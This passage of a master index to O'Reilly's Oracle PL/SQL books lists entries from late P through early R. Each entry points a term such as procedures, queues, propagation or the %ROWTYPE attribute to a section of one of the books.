collections: 19.8.1. Privileges, Oracle PL/SQL Programming
object: 2.5.3.2. Object privileges, Oracle Web Applications
of objects: 18.3.7. Privileges, Oracle PL/SQL Programming
system
2.5.3.1. System privileges, Oracle Web Applications
7.6.2. System-Level Access Control, Guide to Oracle8i Features
proc procedure
5.13.7. Generating a procedure, Advanced Oracle PL/SQL Programming with Packages
16.2.2. Generating a Procedure, Advanced Oracle PL/SQL Programming with Packages
16.4.2. Implementing the Procedure Generator, Advanced Oracle PL/SQL Programming with Packages
procedural code, avoiding: 25.3.5. Avoid Procedural Code When Possible , Oracle PL/SQL Programming
procedure wizard, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
procedures
(see also functions; modules)
1.4.3.10. Modular construction, Oracle PL/SQL Programming
15. Procedures and Functions, Oracle PL/SQL Programming
15.4. Procedures, Oracle PL/SQL Programming
22.1.1. Make Sure the Module Name Explains the Module, Oracle PL/SQL Programming
IN OUT parameters in: 22.2.1.2. Switch to a procedure with IN OUT parameters, Oracle PL/SQL Programming
RETURN statements in: 15.5.8.5. RETURN statement in a procedure, Oracle PL/SQL Programming
changing trigger code to: 25.3.7. Keep Database Triggers Small, Oracle PL/SQL Programming
describing: 10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure, Oracle Built-in Packages
execute authority: 1.3.5. Guaranteeing Transaction Integrity, Advanced Oracle PL/SQL Programming with Packages
external (see external procedures)
1.4.7.5. External procedures
for collections: 19.6. Collection Built-Ins, Oracle PL/SQL Programming
generating
16.2.2. Generating a Procedure, Advanced Oracle PL/SQL Programming with Packages
16.4.2. Implementing the Procedure Generator, Advanced Oracle PL/SQL Programming with Packages
headers of: 15.4.2. Procedure Header, Oracle PL/SQL Programming
help: 16.2.5.2. Generating a help procedure, Advanced Oracle PL/SQL Programming with Packages
local: 15.7. Local Modules, Oracle PL/SQL Programming
parameters of: 15.6. Parameters, Oracle PL/SQL Programming
recompiling: 10.3.2. Compiling PL/SQL Objects, Oracle Built-in Packages
records as parameters: 9.1.4. Guidelines for Using Records, Oracle PL/SQL Programming
referencing in packages: 1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
remote
22.7.5. Default Values and Remote Procedure Calls, Oracle PL/SQL Programming
23.4. Remote Procedure Calls, Oracle PL/SQL Programming
replicated procedures: 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
shared: 23.1.1. Executing Procedures, Oracle PL/SQL Programming
stored, from PL/SQL Version 1.1: B. Calling Stored Procedures from PL/SQL Version 1.1, Oracle PL/SQL Programming
synonyms for: 23.2.2. Creating Synonyms for Stored Objects, Oracle PL/SQL Programming
tables as parameters for: 10.5.4. Passing PL/SQL Tables as Parameters, Oracle PL/SQL Programming
process_halted exception
5.10.2. Package-based exceptions, Advanced Oracle PL/SQL Programming with Packages
22.1.10. Bailing Out with PLVexc, Advanced Oracle PL/SQL Programming with Packages
22.1.2. Package-Based Exceptions, Advanced Oracle PL/SQL Programming with Packages
process_request procedure: 3.1.7.5. The pipesvr package, Oracle Built-in Packages
process_survey procedure, EMP_SURVEY package
8.2.4. The EMP_SURVEY Package, Oracle Web Applications
8.2.4.2. Body, Oracle Web Applications
producers
(see also consumers)
5.1.5. A Glossary of Terms, Oracle Built-in Packages
delaying dequeuing: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
production support: 26.2. Tracing for Production Support, Oracle PL/SQL Programming
productivity: 4.1.1. The Benefits of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
profdel.sql file: 7.1.4. Profiler Return Codes, Guide to Oracle8i Features
profiler return codes: 7.1.4. Profiler Return Codes, Guide to Oracle8i Features
profilers: 7.1. DBMS_PROFILER: Providing Code Profiling , Guide to Oracle8i Features
profload.sql file: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
profrep.sql file: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
profsum.sql file: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
proftab.sql file: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
proftrunc.sql file: 7.1.4. Profiler Return Codes, Guide to Oracle8i Features
program names
finding within packages and DBMS_DESCRIBE: 10.2.3.2. Using psdesc.args as a quality assurance tool, Oracle Built-in Packages
registering: 7.2.5. The DBMS_APPLICATION_INFO.SET_MODULE procedure, Oracle Built-in Packages
returning
7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure, Oracle Built-in Packages
10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure, Oracle Built-in Packages
syntax for: 10.2.2.1. Specifying a program name, Oracle Built-in Packages
programmer-defined
datatypes: (see subtypes)
exceptions
8.3.2. Named Programmer-Defined Exceptions, Oracle PL/SQL Programming
8.3.4. Unnamed Programmer-Defined Exceptions , Oracle PL/SQL Programming
scope of: 8.4.1.1. Scope of programmer-defined exception, Oracle PL/SQL Programming
PL/SQL functions: (see stored functions, PL/SQL)
records
1.4.3.3. Programmer-defined records, Oracle PL/SQL Programming
9.4. Programmer-Defined Records, Oracle PL/SQL Programming
subtypes: 1.4.4.4. Programmer-defined subtypes, Oracle PL/SQL Programming
programming: (see coding)
programming technique
A. Appendix: PL/SQL Exercises, Advanced Oracle PL/SQL Programming with Packages
1.2.1. The Iceberg Approach to Coding, Advanced Oracle PL/SQL Programming with Packages
10.1.3.6. numinstr function, Advanced Oracle PL/SQL Programming with Packages
analyzing performance: (see performance)
avoiding hard-coded literals: 3.12. Obliterating the Literals, Advanced Oracle PL/SQL Programming with Packages
avoiding redundancy: (see redundancy)
backward compatibility
3.3. Supplying Backward Compatibility, Advanced Oracle PL/SQL Programming with Packages
3.11. Don't Forget Backward Compatibility, Advanced Oracle PL/SQL Programming with Packages
coding packages: 2. Best Practices for Packages, Advanced Oracle PL/SQL Programming with Packages
consistent error data: 22.2.1.1. Recording consistent error data, Advanced Oracle PL/SQL Programming with Packages
cover package: 1.6.4. Working with Large Packages, Advanced Oracle PL/SQL Programming with Packages
declarative programming: 19.2. Declarative Programming in PL/SQL, Advanced Oracle PL/SQL Programming with Packages
handling exceptions: 22.3.1. Analyzing the Need, Advanced Oracle PL/SQL Programming with Packages
handling fatal errors: 22.1.10. Bailing Out with PLVexc, Advanced Oracle PL/SQL Programming with Packages
hard-coded transaction processing: 20.1.1. Who Needs PLVcmt?, Advanced Oracle PL/SQL Programming with Packages
logging: (see logging)
modularizing: 2.9. Modularizing for Maintainable Packages, Advanced Oracle PL/SQL Programming with Packages
object-oriented design: 1.3.2. Object-Oriented Design, Advanced Oracle PL/SQL Programming with Packages
overloading: 2.8.1. When to Overload, Advanced Oracle PL/SQL Programming with Packages
simultaneous package construction: 2.11. Simultaneous Construction of Multiple Packages, Advanced Oracle PL/SQL Programming with Packages
testing/debugging: 2.6.3.1. The test/debug cycle in PL/SQL, Advanced Oracle PL/SQL Programming with Packages
toggles: 2.6.1. Toggling Package Behavior, Advanced Oracle PL/SQL Programming with Packages
top-down design: 1.3.3. Top-Down Design, Advanced Oracle PL/SQL Programming with Packages
user interface: 3.4. Improving the User Interface, Advanced Oracle PL/SQL Programming with Packages
using package initialization section: 1.6.3.1. When to use the initialization section, Advanced Oracle PL/SQL Programming with Packages
using packages: 1.6.1. When Should You Build a Package?, Advanced Oracle PL/SQL Programming with Packages
windows: 2.7. Building Windows Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
programs
(see also functions; procedures; code)
1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
analyzing performance of: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
describing: 10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure, Oracle Built-in Packages
enabling tracing of: 26.1.1. Enabling Program Units for Tracing, Oracle PL/SQL Programming
pinning into SGA shared pool: 25.2.2. Pin Critical Code into the SGA, Oracle PL/SQL Programming
recompiling: 10.3.2. Compiling PL/SQL Objects, Oracle Built-in Packages
referencing in packages: 1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
shared, executing: 23.1. Executing Stored Code, Oracle PL/SQL Programming
testing: 24.2.5. Change and Test One Area of Code at a Time, Oracle PL/SQL Programming
progress boxes: 22.6.3. Progress Box as ADT, Oracle PL/SQL Programming
progress package: 22.6.4.1. The progress package specification, Oracle PL/SQL Programming
propagating messages
AQ features for: 5.1.4. Propagation Features, Oracle Built-in Packages
Oracle8 versions and: 5.2.2.3. Setting Oracle AQ compatibility, Oracle Built-in Packages
scheduling: 5.5.5.1. The DBMS_AQADM.SCHEDULE_PROPAGATION procedure, Oracle Built-in Packages
starting: 5.2.2.2. Starting propagation processes, Oracle Built-in Packages
unscheduling: 5.5.5.2. The DBMS_AQADM.UNSCHEDULE_PROPAGATION procedure , Oracle Built-in Packages
viewing schedules: 5.6.2.3. The DBA_JOBS view, Oracle Built-in Packages
propagating transactions
(see also deferred transactions)
17.2.5. Propagating Deferred RPCs, Oracle Built-in Packages
Oracle8 scheduling: 17.2.6. Scheduling Propagation (Oracle8 only), Oracle Built-in Packages
disabling: 17.2.6.1. The DBMS_DEFER_SYS.EXCLUDE_PUSH function (Oracle8 only), Oracle Built-in Packages
enabling and disabling: 17.2.4.5. The DBMS_DEFER_SYS.SET_DISABLED procedure, Oracle Built-in Packages
new destinations: 17.2.3. Copying Deferred Transactions to New Destinations, Oracle Built-in Packages
purging: 17.2.6.2. The DBMS_DEFER_SYS.PURGE function (Oracle8 only), Oracle Built-in Packages
pushing queued transactions
17.2.5. Propagating Deferred RPCs, Oracle Built-in Packages
17.2.6.3. The DBMS_DEFER_SYS.PUSH function, Oracle Built-in Packages
registering propagators: 17.2.6.8. The DBMS_DEFER_SYS.REGISTER_PROPAGATOR procedure (Oracle8 only), Oracle Built-in Packages
scheduling purge: 17.2.6.4. The DBMS_DEFER_SYS.SCHEDULE_PURGE procedure (Oracle8 only), Oracle Built-in Packages
scheduling push: 17.2.6.5. The DBMS_DEFER_SYS.SCHEDULE_PUSH procedure (Oracle8 only), Oracle Built-in Packages
scheduling, strategies for: 17.2.5.1. Scheduling strategies, Oracle Built-in Packages
unregistrating propagators: 17.2.6.9. The DBMS_DEFER_SYS.UNREGISTER_PROPAGATOR procedure (Oracle8 only), Oracle Built-in Packages
unscheduling purge: 17.2.6.6. The DBMS_DEFER_SYS.UNSCHEDULE_PURGE procedure (Oracle8 only), Oracle Built-in Packages
unscheduling push: 17.2.6.7. The DBMS_DEFER_SYS.UNSCHEDULE_PUSH procedure (Oracle8 only), Oracle Built-in Packages
propagation of exceptions: 8.4.2. Propagation of an Exception , Oracle PL/SQL Programming
propagator accounts: 15.1.3. Granting and Revoking Propagator Accounts (Oracle8), Oracle Built-in Packages
properties, object: (see attributes, object)
protocol, network: 2.2.5. The Uniform Resource Locator, Oracle Web Applications
protocols (for messages)
5.1.5. A Glossary of Terms, Oracle Built-in Packages
5.3.4. Agents Object Type, Oracle Built-in Packages
tips about: 3.1.6.3. Establishing messaging protocols, Oracle Built-in Packages
protocols, communications: 1.1. The Internet Grows Up, Oracle Web Applications
prt package: 6.1.6.2. Package specification for a DBMS_OUTPUT encapsulator, Oracle Built-in Packages
prt.spp : 6.1.6.2. Package specification for a DBMS_OUTPUT encapsulator, Oracle Built-in Packages
prvtjob.plb script: 13.3.3. DBMS_IJOB: Managing Other Users' Jobs , Oracle Built-in Packages
prvtoctk.plb script: 10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
prvtofln.plb script
14.3.1. Getting Started with DBMS_OFFLINE_SNAPSHOT, Oracle Built-in Packages
15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
prvtpbp.plb file: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
prvtpool.plb script: 12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
prvtrctf.sql script
15.5.1. Getting Started with DBMS_RECTIFIER_DIFF, Oracle Built-in Packages
17.2.1. Getting Started with DBMS_DEFER_SYS, Oracle Built-in Packages
17.4.1. Getting Started with DBMS_DEFER_QUERY, Oracle Built-in Packages
prvtrepc.sql script
15.1.1. Getting Started with DBMS_REPCAT_AUTH, Oracle Built-in Packages
15.2.1. Getting Started with DBMS_REPCAT_ADMIN, Oracle Built-in Packages
prvtutil.plb script: 11.2.1. Getting Started with DBMS_SYSTEM , Oracle Built-in Packages
ps2db procedure
5.17.6. Managing the log , Advanced Oracle PL/SQL Programming with Packages
21.1.4.3. Transferring a PL/SQL table log to a database table, Advanced Oracle PL/SQL Programming with Packages
ps_callstack function
5.28.5. Accessing the PL/SQL call stack, Advanced Oracle PL/SQL Programming with Packages
21.2.2. Accessing the PL/SQL Call Stack, Advanced Oracle PL/SQL Programming with Packages
ps_module function
5.28.5. Accessing the PL/SQL call stack, Advanced Oracle PL/SQL Programming with Packages
21.2.2. Accessing the PL/SQL Call Stack, Advanced Oracle PL/SQL Programming with Packages
psdesc package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
10.2.3.1. Features of the psdesc package, Oracle Built-in Packages
psdesc.spp : 10.2.3.1. Features of the psdesc package, Oracle Built-in Packages
psdesc.tst
10.2.2.2. The DESCRIBE level, Oracle Built-in Packages
10.2.2. Explaining DBMS_DESCRIBE Results, Oracle Built-in Packages
pseudocolumns: 9.1.2. ROWID Concepts, Oracle Built-in Packages
pseudoinstructions: 2.6. The PRAGMA Keyword, Oracle PL/SQL Programming
psformat procedure: 4.1.2. The Origins of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
pstab constant: 5.3.1. PL/Vision constants, Advanced Oracle PL/SQL Programming with Packages
pstab2file procedure
5.11.11. Copying a file, Advanced Oracle PL/SQL Programming with Packages
13.7.4. Copying PL/SQL Table to File, Advanced Oracle PL/SQL Programming with Packages
pstab_count function
5.17.6. Managing the log , Advanced Oracle PL/SQL Programming with Packages
21.1.4.1. Counting and clearing the PL/SQL table, Advanced Oracle PL/SQL Programming with Packages
public
PL/Vision package synonyms: 4.3.6. Granting Access to PL/Vision, Advanced Oracle PL/SQL Programming with Packages
elements
16.2.1. The Specification, Oracle PL/SQL Programming
16.2.4. Public and Private Package Elements, Oracle PL/SQL Programming
data
16.5.3. Global Public Data, Oracle PL/SQL Programming
1.4.4.1. Public and private data, Advanced Oracle PL/SQL Programming with Packages
2.7. Building Windows Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
2.10. Hiding Package Data, Advanced Oracle PL/SQL Programming with Packages
2.10.4. When to Make Data Public, Advanced Oracle PL/SQL Programming with Packages
anchored declarations: 2.10.5. Anchoring to Public Variables, Advanced Oracle PL/SQL Programming with Packages
declaring before private: 2.2.1. Choosing the Order of Elements, Advanced Oracle PL/SQL Programming with Packages
package elements
1.3.1. Enforced Information Hiding, Advanced Oracle PL/SQL Programming with Packages
1.4.1. The Package Specification, Advanced Oracle PL/SQL Programming with Packages
package elements: 1.4.4. Access to Package Elements, Advanced Oracle PL/SQL Programming with Packages
pipes
3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
synonyms: 7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
purge_all_pipes procedure: 3.1.3.4. The DBMS_PIPE.PURGE procedure, Oracle Built-in Packages
purity levels
1.6.5.1. RESTRICT_REFERENCES pragma, Advanced Oracle PL/SQL Programming with Packages
1.3.7.1. Calling a packaged function in SQL, Oracle Built-in Packages
packages: 17.5.1. The RESTRICT_REFERENCES Pragma, Oracle PL/SQL Programming
push procedure
5.24.3. Modifying stack contents, Advanced Oracle PL/SQL Programming with Packages
5.7.3. Building a Stack with AQ Using Sequence Deviation, Oracle Built-in Packages
put_line procedure
5.11.10. Writing to a file, Advanced Oracle PL/SQL Programming with Packages
5.15.7. Reading and writing lines, Advanced Oracle PL/SQL Programming with Packages
5.17.4. Writing to the log , Advanced Oracle PL/SQL Programming with Packages
12.7. Writing to the Target, Advanced Oracle PL/SQL Programming with Packages
13.6. Writing to a File, Advanced Oracle PL/SQL Programming with Packages
16.4.3. put_line Procedure, Advanced Oracle PL/SQL Programming with Packages
21.1.2. Writing to the Log, Advanced Oracle PL/SQL Programming with Packages
specifying rollbacks: 21.1.5.5. Specifying rollbacks when calling put_line, Advanced Oracle PL/SQL Programming with Packages
put_line repository: 12.7.3. Displaying the Target Repository, Advanced Oracle PL/SQL Programming with Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: Q

Index: Q

Q (Savant Corporation product): About Q, Oracle Built-in Packages
QUEUE_SUBSCRIBERS procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure, Oracle Built-in Packages
Query by Example (QBE) form: 3.1.2.2. Building user interface components , Oracle Web Applications
Queue Monitor
5.1.7. Queue Monitor, Oracle Built-in Packages
5.1.5. A Glossary of Terms, Oracle Built-in Packages
starting
5.2.2.1. Starting the Queue Monitor, Oracle Built-in Packages
5.5.7.1. The DBMS_AQADM.START_TIME_MANAGER procedure, Oracle Built-in Packages
stopping: 5.5.7.2. The DBMS_AQADM.STOP_TIME_MANAGER procedure, Oracle Built-in Packages
QuickTime: 1.3.9.2. Multimedia data, Oracle Web Applications
qtable_exists function: 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
qualified identifiers: 15.3.5.1. Qualified identifiers, Oracle PL/SQL Programming
qualified names, parsing
2.5.4.3. Constructing the SELECT, Oracle Built-in Packages
10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure, Oracle Built-in Packages
qualified notation
2.3. Selecting Package Names, Advanced Oracle PL/SQL Programming with Packages
2.3.2. Avoiding Redundancy, Advanced Oracle PL/SQL Programming with Packages
qualifying package references: 1.4.2.1. Unqualified package references, Advanced Oracle PL/SQL Programming with Packages
quality assurance, psdesc package used for: 10.2.3.2. Using psdesc.args as a quality assurance tool, Oracle Built-in Packages
queries
Method 4 dynamic SQL example: 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL, Oracle Built-in Packages
and correlated subqueries: 17.8.3. Replacing Correlated Subqueries, Oracle PL/SQL Programming
fetching rows: 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
implicit: 1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
query strings
2.4.3.1. Using a query string, Oracle Web Applications
2.2.5. The Uniform Resource Locator, Oracle Web Applications
queue migration, setting
7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration, Guide to Oracle8i Features
7.6. New DBMS_AQ and DBMS_AQADM Features, Guide to Oracle8i Features
queue tables
5.1.8. Data Dictionary Views, Oracle Built-in Packages
5.1.5. A Glossary of Terms, Oracle Built-in Packages
creating: 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
database tables for
5.1.8. Data Dictionary Views, Oracle Built-in Packages
5.6.1.1. The database table for queue data, Oracle Built-in Packages
dropping: 5.5.4.3. The DBMS_AQADM.DROP_QUEUE_TABLE procedure, Oracle Built-in Packages
granting privileges: 5.5.1. Creating Queue Tables, Oracle Built-in Packages
illustration: 5.1.5. A Glossary of Terms, Oracle Built-in Packages
information about: 5.6.2.1. The DBA_QUEUE_TABLES view, Oracle Built-in Packages
views for
5.1.8. Data Dictionary Views, Oracle Built-in Packages
5.6.1. Objects Per Queue Table , Oracle Built-in Packages
5.6.1.2. The queue table view, Oracle Built-in Packages
creating: 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
queue_exists function: 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
queues
(see also exception queues; messages (AQ)
5.1.5. A Glossary of Terms, Oracle Built-in Packages
altering properties: 5.5.2.3. The DBMS_AQADM.ALTER_QUEUE procedure, Oracle Built-in Packages
browsing
5.1.3. Dequeue Features, Oracle Built-in Packages
5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
example: 5.7.4. Browsing a Queue's Contents, Oracle Built-in Packages
creating: 5.5.2.1. The DBMS_AQADM.CREATE_QUEUE procedure, Oracle Built-in Packages
dequeuing: (see dequeuing)
dropping: 5.5.4.2. The DBMS_AQADM.DROP_QUEUE procedure, Oracle Built-in Packages
enqueuing: (see enqueuing)
granting access for multiple consumers: 5.5.1.1. The DBMS_AQADM.GRANT_TYPE_ACCESS procedure, Oracle Built-in Packages
indexes used for: 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
managing
(see also DBMS_JOB)
example of 6.13.2. Managing a Work Queue with SELECT FOR UPDATE, Oracle PL/SQL Programming
message order in
5.1.2. Enqueue Features, Oracle Built-in Packages
5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
object types for: 5.3.3. Queue Type Names, Oracle Built-in Packages
obtaining information about: 5.6.2.2. The DBA_QUEUES view, Oracle Built-in Packages
prioritized (example): 5.7.2. Working with Prioritized Queues, Oracle Built-in Packages
privileges: 5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
starting: 5.5.2.2. The DBMS_AQADM.START_QUEUE procedure, Oracle Built-in Packages
stopping: 5.5.4.1. The DBMS_AQADM.STOP_QUEUE procedure, Oracle Built-in Packages
verifying types of: 5.5.6.1. The DBMS_AQADM.VERIFY_QUEUE_TYPES procedure, Oracle Built-in Packages
views for: 5.1.8. Data Dictionary Views, Oracle Built-in Packages
queuing, advanced: 1.4.7.2. Oracle/AQ, the Advanced Queueing Facility, Oracle PL/SQL Programming
queuing facility
C.3. Oracle AQ, the Advanced Queueing Facility, Oracle PL/SQL Programming
administration of: C.3.2. DBMS_AQADM (PL/SQL 8 Only), Oracle PL/SQL Programming
quick-and-dirty tracing: 26.5. Quick-and-Dirty Tracing, Oracle PL/SQL Programming
quiescence: 15.3.7.1. The DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY procedure, Oracle Built-in Packages
quotation marks
5.6.3. Other functions and procedures, Advanced Oracle PL/SQL Programming with Packages
2.3.1. Embedding Single Quotes Inside a String, Oracle PL/SQL Programming
2.3.1. Embedding Single Quotes Inside a String, Oracle PL/SQL Programming
11.1.10. The REPLACE function, Oracle PL/SQL Programming
embedding: 2.3.1. Embedding Single Quotes Inside a String, Oracle PL/SQL Programming
quoted function: 5.6.3. Other functions and procedures, Advanced Oracle PL/SQL Programming with Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: R

Index: R

%ROWCOUNT attribute
6.9.3. The %ROWCOUNT Attribute, Oracle PL/SQL Programming
20.1.1.4. Getting back on track, Advanced Oracle PL/SQL Programming with Packages
%ROWTYPE attribute
2.10.5. Anchoring to Public Variables, Advanced Oracle PL/SQL Programming with Packages
1.7.2. Synchronize Program and Data Structures, Oracle PL/SQL Programming
9.2.1. Declaring Records with the %ROWTYPE Attribute, Oracle PL/SQL Programming
15.6.1.1. %TYPE and %ROWTYPE, Oracle PL/SQL Programming
in cursor declarations: (see cursors)
RAISE statement
22.1.5. What About the Reraise Action?, Advanced Oracle PL/SQL Programming with Packages
8.5.1.2. Programmer raises ZERO_DIVIDE exception, Oracle PL/SQL Programming
8.10. RAISE Nothing but Exceptions, Oracle PL/SQL Programming
RAISE_APPLICATION_ERROR procedure
8.3.4. Unnamed Programmer-Defined Exceptions , Oracle PL/SQL Programming
8.7. Client-Server Error Communication, Oracle PL/SQL Programming
RANDOM function
10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
10.4.2.3. The DBMS_RANDOM.RANDOM function (Oracle8 only) , Oracle Built-in Packages
RAW datatype
4.2.3.4. The RAW datatype, Oracle PL/SQL Programming
14.2.3. The HEXTORAW function, Oracle PL/SQL Programming
RAWTOHEX function: 14.2.4. The RAWTOHEX function, Oracle PL/SQL Programming
RAW_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
RDBMS
(see also relational database management system)
1.3.1. Improved Application Portability with PL/SQL, Oracle PL/SQL Programming
READ COMMITTED isolation level: 2.4.2. Transaction Visibility, Guide to Oracle8i Features
READ procedure
C.6.13. The READ procedure, Oracle PL/SQL Programming
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.2.3. The DBMS_LOB.READ procedure, Oracle Built-in Packages
SUBSTR versus
8.3.2.3. The DBMS_LOB.READ procedure, Oracle Built-in Packages
8.3.2.4. The DBMS_LOB.SUBSTR function, Oracle Built-in Packages
READ_CLIENT_INFO procedure
7.1.1. DBMS_APPLICATION_INFO Programs , Oracle Built-in Packages
7.2.1. The DBMS_APPLICATION_INFO.READ_CLIENT_INFO procedure, Oracle Built-in Packages
READ_ERROR exception: 13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
READ_EV procedure: 11.2.2.1. The DBMS_SYSTEM.READ_EV procedure, Oracle Built-in Packages
READ_MODULE procedure
7.1.1. DBMS_APPLICATION_INFO Programs , Oracle Built-in Packages
7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure, Oracle Built-in Packages
READ_ONLY procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.5.1. The DBMS_TRANSACTION.READ_ONLY procedure, Oracle Built-in Packages
C.15.7. The READ_ONLY procedure, Oracle PL/SQL Programming
READ_WRITE procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.5.2. The DBMS_TRANSACTION.READ_WRITE procedure, Oracle Built-in Packages
C.15.8. The READ_WRITE procedure, Oracle PL/SQL Programming
REAL subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
RECEIVE_MESSAGE function
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function, Oracle Built-in Packages
C.10.5. The RECEIVE_MESSAGE function, Oracle PL/SQL Programming
RECTIFY procedure
15.5.1. Getting Started with DBMS_RECTIFIER_DIFF, Oracle Built-in Packages
15.5.2.2. The DBMS_RECTIFIER_DIFF.RECTIFY procedure, Oracle Built-in Packages
REDIRECT_URL procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
REF CURSOR type
(see also cursor variables)
6.12.3. Declaring REF CURSOR Types and Cursor Variables, Oracle PL/SQL Programming
6.12.6.3. Cursor variable aliases, Oracle PL/SQL Programming
identifying: 6.12.7.1. Identifying the REF CURSOR type, Oracle PL/SQL Programming
REF keyword: 18.2.3. Adding Complex Data Structures, Oracle PL/SQL Programming
REFRESH procedure: C.13.4. The REFRESH procedure, Oracle PL/SQL Programming
REFRESH procedure (DBMS_REFRESH)
14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
14.2.5. Manually Refreshing Snapshot Groups, Oracle Built-in Packages
REFRESH procedure (DBMS_SNAPSHOT)
14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
14.1.3. Refreshing Snapshots, Oracle Built-in Packages
REFRESH_ALL procedure: C.13.5. The REFRESH_ALL procedure, Oracle PL/SQL Programming
REFRESH_POLICY procedure, DBMS_RLS package
7.3.2. DBMS_RLS Programs, Guide to Oracle8i Features
7.3.7. REFRESH_POLICY: Refreshing a Policy, Guide to Oracle8i Features
REFRESH_SNAPSHOT_REPGROUP procedure
14.4.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
14.4.5. Manually Refreshing a Snapshot Replication Group, Oracle Built-in Packages
REFs (object references)
18.1.4.3. Inheritance , Oracle PL/SQL Programming
18.2.3. Adding Complex Data Structures, Oracle PL/SQL Programming
18.4.2.2. REFs, Oracle PL/SQL Programming
DEREF operator and: 18.4.2.4. DEREF, Oracle PL/SQL Programming
as collection elements: 19.2.1. Collections "In the Database", Oracle PL/SQL Programming
as operators: 18.4.2.2. REFs, Oracle PL/SQL Programming
as type modifiers: 18.4.2.2. REFs, Oracle PL/SQL Programming
object views and
20. Object Views, Oracle PL/SQL Programming
20.3.3. MAKE_REF: Returning a Virtual REF, Oracle PL/SQL Programming
20.4.2. Using REFs with Object Views, Oracle PL/SQL Programming
REFs, native dynamic SQL: 4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
REGISTER procedure: C.2.1. The REGISTER procedure, Oracle PL/SQL Programming
REGISTER procedure (DBMS_ALERT): 3.2.2.1. The DBMS_ALERT.REGISTER procedure, Oracle Built-in Packages
REGISTER_PROPAGATOR procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.6.8. The DBMS_DEFER_SYS.REGISTER_PROPAGATOR procedure (Oracle8 only), Oracle Built-in Packages
REGISTER_SNAPSHOT procedure
14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
14.1.6.1. The DBMS_SNAPSHOT.REGISTER_SNAPSHOT procedure (Oracle 8 only) , Oracle Built-in Packages
REGISTER_STATISTICS procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.6.1.1. The DBMS_REPCAT.REGISTER_STATISTICS procedure, Oracle Built-in Packages
RELEASE function
4.1.1.1. DBMS_LOCK programs, Oracle Built-in Packages
4.1.2.4. The DBMS_LOCK.RELEASE function, Oracle Built-in Packages
C.7.3. The RELEASE function, Oracle PL/SQL Programming
RELOCATE_MASTERDEF procedure
